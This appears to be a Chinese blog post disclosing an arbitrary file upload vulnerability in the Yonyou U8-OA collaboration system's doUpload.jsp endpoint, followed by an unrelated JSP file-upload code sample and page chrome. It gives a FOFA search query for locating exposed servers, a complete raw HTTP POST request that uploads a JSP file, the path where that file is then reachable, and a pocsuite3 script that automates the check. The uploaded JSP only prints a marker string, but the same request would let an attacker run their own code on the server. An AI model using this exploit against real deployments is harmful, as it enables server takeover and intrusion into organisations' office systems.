某友U8-OA协同工作系统doUpload.jsp接口任意文件上传漏洞(附漏洞检测脚本)

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

用友U8-OA协同工作系统doUpload.jsp接口存在任意文件上传漏洞

fofa语句

title="用友U8-OA"

poc加检测

POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75

--7b1db34fff56ef636e9a5cebcd6c9a75
Content-Disposition: form-data; name="iconFile"; filename="info.jsp"
Content-Type: application/octet-stream

<% out.println("tteesstt1"); %>
--7b1db34fff56ef636e9a5cebcd6c9a75--

上传成功后评价url    ip//yyoa/portal/upload/xxx.jsp

poc脚本

脚本使用pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2024/2/23
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class yongyouu8_doupload_upload(POCBase):
    pocDesc = '''用友U8-OA协同工作系统doUpload.jsp接口任意文件上传漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-10'
    name = '用友U8-OA协同工作系统doUpload.jsp接口任意文件上传漏洞'
    #title="用友U8-OA"


    def _verify(self):

        result = {}
        url = self.url+ '/yyoa/portal/tools/doUpload.jsp'

        headers = {
            "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",
            "Accept": "*/*",
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'close',
            "Upgrade-Insecure-Requests": "1",
            "Content-Type": "multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75"
        }

        try:
            data = '--7b1db34fff56ef636e9a5cebcd6c9a75\r\nContent-Disposition: form-data; name="iconFile"; filename="info.jsp"\r\nContent-Type: application/octet-stream\r\n\r\n<% out.println("tteesstt1"); %>\r\n--7b1db34fff56ef636e9a5cebcd6c9a75--'

            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200 and 'jsp' in response.text:
                result['VerifyInfo'] = {}

            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(yongyouu8_doupload_upload)

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
通过jsp前端进行多文件上传 显示层代码: <%@ page language="java" import="java.util.*" pageEncoding="GBK"%> <%@ page import="com.jspsmart.upload.*" %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>My JSP 'index.jsp' starting page</title> <script type="text/javascript"> function addFile(){ var myTB = document.getElementByIdx_x_x("myTB"); var rowNum = myTB.rows.length; var newRow = myTB.insertRow(rowNum); var cells_0 = newRow.insertCell(0); cells_0.innerHTML = "上传文件:"; var cells_1 = newRow.insertCell(1); cells_1.innerHTML = "<input type='file' name='nfile' />"; } </script> </head> <body> <form enctype="multipart/form-data" method="post" action="doUpload.jsp"> <table id="myTB"> <tr> <td>上传文件:</td> <td><input type="file" name="nfile" /></td> </tr> </table> <input type="button" value="添加" onclick="addFile()"><br> <input type="submit" value="上传"> </form> </body> </html> ============================================================================ 逻辑层代码: <%@ page language="java" import="java.util.*" pageEncoding="GBK"%> <%@ page import="com.jspsmart.upload.*" %> <% SmartUpload su = new SmartUpload(); su.initialize(pageContext); try{ su.setAllowedFilesList("jpg,jpeg,gif"); su.setDeniedFilesList("exe"); su.setMaxFileSize(1024*1024*1024*5); su.setTotalMaxFileSize(1024*1024*1024*20); su.setCharset("gbk"); su.upload(); }catch(Exception e){ out.print("您选择的文件非法或者长度超限,请检查!"); e.printStackTrace(); } for(int i=0;i<su.getFiles().getCount();i++){ File file = su.getFiles().getFile(i); if(!file.isMissing()){ Random rd = new Random(); Calendar cd = Calendar.getInstance(); String fileName = String.valueOf(cd.get(Calendar.YEAR))+String.valueOf(cd.get(Calendar.MONTH)+1)+String.valueOf(cd.get(Calendar.DATE))+ String.valueOf(cd.get(Calendar.MINUTE))+String.valueOf(cd.get(Calendar.SECOND))+String.valueOf(rd.nextInt(100))+"."+file.getFileExt(); String path = "upload\\"; path += fileName; file.saveAs(path,SmartUpload.SAVE_VIRTUAL); out.print("文件上传成功"); } } %>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值